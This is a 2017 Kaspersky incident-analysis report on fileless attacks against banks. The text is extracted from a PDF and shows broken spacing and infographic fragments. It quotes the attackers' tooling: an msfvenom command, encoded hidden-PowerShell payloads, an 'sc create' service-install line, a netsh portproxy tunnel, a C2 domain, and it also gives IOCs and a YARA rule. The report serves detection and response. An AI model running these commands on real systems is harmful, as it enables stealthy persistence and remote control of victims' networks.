Kaspersky Enterprise Cybersecurity

Fileless attacks against
enterprise networks

www.kaspersky.com#truecybersecurity

Fileless attacks against
enterprise networks
During incident response, a team of security specialists needs to follow the artefacts thatattackers have left in the network. Artefacts are stored in logs, memories and hard drives.
Unfortunately, each of these storage media has a limited timeframe when the required data isavailable. One reboot of an attacked computer will make memory acquisition useless. Several
months after an attack the analysis of logs becomes a gamble because they are rotated overtime. Hard drives store a lot of needed data and, depending on its activity, forensic specialists
may extract data up to a year after an incident. That’s why attackers are using anti-forensictechniques (or simply SDELETE) and memory-based malware to hide their activity during
data acquisition. A good example of the implementation of such techniques is Duqu2. After
dropping on the hard drive and starting its malicious MSI package it removes the package
from the hard drive with file renaming and leaves part of itself in the memory with a payload.
That’s why memory forensics is critical to the analysis of malware and its functions. Anotherimportant part of an attack are the tunnels that are going to be installed in the network byattackers. Cybercriminals (like Carbanak or GCMAN) may use PLINK for that. Duqu2 useda special driver for that. Now you may understand why we were very excited and impressed
when, during an incident response, we found that memory-based malware and tunnellingwere implemented by attackers using Windows standard utilities like “SC” and “NETSH”.

DescriptiongBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAJwBIADQAcwBJAEEARAB6ADgAeAAxAGMAQwBBADcAVgBXAGUANAAvAGEATwBCAEQALwB1ADUAWAA2AEgAYQBJAFQARQBrAEcAaQBrAEEARABiAG
wAawBxAFYATABnAEYAQwAyAE4AMwB3AEMAbgBGADQASABEAHEAWgB4AEMARQBtAFQAcwBJAG…

This thread was originally discovered by a bank’s securityteam, after detecting Meterpreter code inside thephysical memory of a domain controller (DC).
Kaspersky Lab’s product detection names for suchkinds of thread are MEM:Trojan.Win32.Cometerand MEM:Trojan.Win32.Metasploit. Kaspersky Lab
participated in the forensic analysis after this attack
was detected, discovering the use of PowerShell
scripts within the Windows registry. Additionally it wasdiscovered that the NETSH utility as used for tunnelling
traffic from the victim’s host to the attacker´s C2.

This script allocates memory, resolves WinAPIs anddownloads the Meterpreter utility directly to RAM.
These kind of scripts may be generated by using
the Metasploit Msfvenom utility with the following
command line options:

We know that the Metasploit framework wasused to generate scripts like the following one:• msfvenom -p windows/meterpreter/bind _hidden _ tcp AHOST=10.10.1.11 -f psh-cmd%COMSPEC% /b /c start /b /min powershell.exe-nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQ
AcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkA
ewAkAGIAPQAnAHAAbwB3AGUAcgBzAGgAZQBsAGwA
LgBlAHgAZQAnAH0AZQBsAHMAZQB7ACQAYgA9ACQAZ
QBuAHYAOgB3AGkAbgBkAGkAcgArACcAXABzAHkAc
wB3AG8AdwA2ADQAXABXAGkAbgBkAG8AdwBzAFAAbw
B3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcAB
vAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACcAfQA7ACQAcwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTA
HkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpA
GMAcwAuAFAAcgBvAGMAZQBzAHMAUwB0AGEAcgB0AE
kAbgBmAG8AOwAkAHMALgBGAGkAbABlAE4AYQBtAGUAPQAkAGIAOwAkAHMALgBBAHIAZwB1AG0AZQBuAHQAcwA9ACcALQBuAG8AcAAgAC0AdwAgAGgAaQBkAGQA
ZQBuACAALQBjACAAJABzAD0ATgBlAHcALQBPAGIAa

After the successful generation of a script, theattackers used the SC utility to install a malicious
service (that will execute the previous script) on thetarget host. This can be done, for example, using
the following command:• sc \\target _ name create ATITscUA
binpath= “C:\Windows\system32\cmd.exe/b /c start /b /min powershell.exe -nop-w hidden e aQBmACgAWwBJAG4AdABQAHQA…”
start= manual
The next step after installing the malicious service
would be to set up tunnels to access to the infected
machine from remote hosts, for example using thefollowing command:1

Over 140 enterprises hit around the world, includingbanks, telecoms and government organizations
Target’s servers arehacked using a known
exploit for an
unpatched vulnerability

Attackers combine & adapt
well-known tools Meterpreter, PowerShell
scripts - to infect computer1

Use standard utilities (NETSH) for tunnel
to C2 server – providing attackers withremote access

Nearly all traces
disappear on
reboot4

Code hides in the memory – Windows registry
No malware files on hard drive‘Invisible’ to security whitelists
Gathers info – e.g. passwords of system administrators

25?

Lack of malware artefacts
makes detection andinvestigation difficult

36© 2017 AO Kaspersky Lab. All Rights Reserved.

• netsh interface portproxy add v4tov4
listenport=4444 connectaddress=10.10.1.12
connectport=8080 listenaddress=0.0.0.0

Resulting in the following payload:

That would result in all network traffic from
10.10.1.11:4444 being forwarded to 10.10.1.12:8080.
This technique of setting up proxy tunnels will provide
the attackers with the ability to control any PowerShell
infected host from remote Internet hosts.
The use of the “SC” and “NETSH” utilities requires
administrator privileges both in local and remote host.
The use of malicious PowerShell scripts also requires
privilege escalation and execution policy changes. Inorder to achieve this, attackers used credentials fromService accounts with administrative privileges (forexample backup, service for remote task scheduler,etc.) grabbed by Mimikatz.

Features
The analysis of memory dumps and Windowsregistries from affected machines allowed us
to restore both Meterpreter and Mimikatz. These
tools were used to collect passwords of systemadministrators and for the remote administrationof infected hosts.

Part of a code responsible for downloading Meterpreter
from “adobeupdates.sytes[.]net”

Victims

In order to get the PowerShell payload used by
the attackers from the memory dumps, we used
the following BASH commands:

Using the Kaspersky Security Network we foundmore than 140 enterprise networks infected withmalicious PowerShell scripts in the registry. These
are detected as Trojan.Multi.GenAutorunReg.c andHEUR:Trojan.Multi.Powecod.a. The table below
show the number of infections per country.

• cat mal _ powershell.ps1 _ 4 | cut -f12 -d”“ | base64 -di | cut -f8 -d\’ | base64-di | zcat - | cut -f2 -d\( | cut -f2-d\” | less | grep \/ | base64 -di | hd

However we cannot confirm that all of them were
infected by the same attacker.
2

The hidden-malware enterprise attacks:
victim geography
Over 140 enterprises in 40 countries affectedEcuadorUSABrazilSpain

UKFranceHit enterprises include:

Tunisia

Egypt

7

RussiaTurkeyIsrael7Banks1021

Government organizations

4

Telecommunication companies

UgandaKenya

4464

A small number of infections have also beenfound in the following:

59Austria

CyprusMadagascar

Saudi Arabia

Bolivia

Germany

Moldova

Tanzania

Bulgaria

India

Mongolia

UkraineCambodia

Indonesia

MoroccoVatican City State

CanadaIranPakistanVenezuela

China

Kazakhstan

Paraguay

Vietnam

Congo

Libya

Peru

86© 2017 AO Kaspersky Lab. All Rights Reserved.

Attribution

After successful disinfection and cleaning, it is necessary
to change all passwords. This attack shows how nomalware samples are needed for successful exfiltrationof a network and how standard and open source utilities
make attribution almost impossible.

During our analysis of the affected bank we learned
that the attackers had used several third level domains
and domains in the .GA, .ML, .CF ccTLDs. The trick ofusing such domains is that they are free and missing
WHOIS information after domain expiration. Given
that the attackers used the Metasploit framework,
standard Windows utilities and unknown domains
with no WHOIS information, this makes attribution
almost impossible. This closest groups with the same
TTPs are GCMAN and Carbanak.

Further details of these attacks and their objectives
will be presented at the Security Analyst Summit,
to be held on St. Maarten from 2 to 6 April, 2017.
For more information please contact:
intelreports@kaspersky.com

Conclusions
Techniques like those described in this report arebecoming more common, especially against relevanttargets in the banking industry. Unfortunately theuse of common tools combined with different tricks
makes detection very hard.
In fact, detection of this attack would be possible
in RAM, network and registry only. Please check theAppendix I - Indicators of Compromise section for
more details on how to detect malicious activity
related to this fileless PowerShell attack.

3

Appendix I – Indicatorsof Compromise
To find the host used by an attacker using thetechnique described for remote connections andpassword collection, the following paths in theWindows registry should be analyzed:• HKLM\SYSTEM\ControlSet001\services\ - pathwill be modified after using the SC utility• HKLM\SYSTEM\ControlSet001\services\PortProxy\v4tov4\tcp - path will be modified
after using the NETSH utility
In unallocated space in the Windows registry, thefollowing artefacts might be found:• powershell.exe -nop -w hidden -e• 10.10.1.12/8080• 10.10.1.11/4444
Please note that these IPs are taken from the IR case inwhich we participated, so there could be any other IP
used by an eventual attacker. These artefacts indicate
the use of PowerShell scripts as a malicious service
and the use of the NETSH utility for building tunnels.
Verdicts:• MEM:Trojan.Win32.Cometer• MEM:Trojan.Win32.Metasploit• Trojan.Multi.GenAutorunReg.c• HEUR:Trojan.Multi.Powecod

Appendix II – Yara Rules
rule msf _ or _ tunnel _ in _ registry{strings:$port _ number _ in _ registry = “/4444”$hidden _ powershell _ in _ registry =“powershell.exe -nop -w hidden” wide
condition:
uint32(0)==0x66676572 and any ofthem}4Kaspersky Lab, Moscow, Russia www.kaspersky.com
All about Internet security: www.securelist.com
Find a partner near you: www.kaspersky.com/buyoffline

Expertanalysis

HuMachine®

www.kaspersky.com© 2017 AO Kaspersky Lab. All rights reserved. Registered trademarks and service
marks are the property of their respective owners.

MachineLearning

Big Data /Threat Intelligence